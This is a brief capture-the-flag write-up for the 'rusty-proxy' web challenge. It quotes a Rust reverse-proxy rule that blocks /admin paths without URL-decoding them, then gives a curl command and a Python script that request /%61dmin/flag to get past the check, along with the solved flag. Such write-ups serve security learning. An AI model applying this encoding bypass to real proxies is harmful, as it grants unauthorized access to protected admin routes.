BITSCTF 2026 - rusty-proxy - Web Exploitation Writeup

76 words

1 minute

BITSCTF 2026 - rusty-proxy - Web Exploitation Writeup

2026-02-22

Writeup

CTF

/

Security

/

Web Exploitation

Category: Web Exploitation

Flag: BITSCTF{tr4il3r_p4r51n6_15_p41n_1n_7h3_4hh}

Challenge Description#

Rust reverse proxy with Flask backend. Remote: http://rusty-proxy.chals.bitskrieg.in:25001

Analysis#

Proxy ACL in main.rs:

1
fn is_path_allowed(path: &str) -> bool {
2
    let normalized = path.to_lowercase();
3
    if normalized.starts_with("/admin") {
4
        return false;
5
    }
6
    true
7
}

The proxy checks the raw request path without URL decoding. Flask decodes %61 → a.

Exploitation#

1
curl "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"

/%61dmin/flag passes proxy check (doesn’t start with /admin), but Flask receives /admin/flag.

Or using Python:

1
# !/usr/bin/env python3
2
import requests
3

4
URL = "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"
5

6
r = requests.get(URL, timeout=10)
7
data = r.json()
8
print(f"Flag: {data.get('flag')}")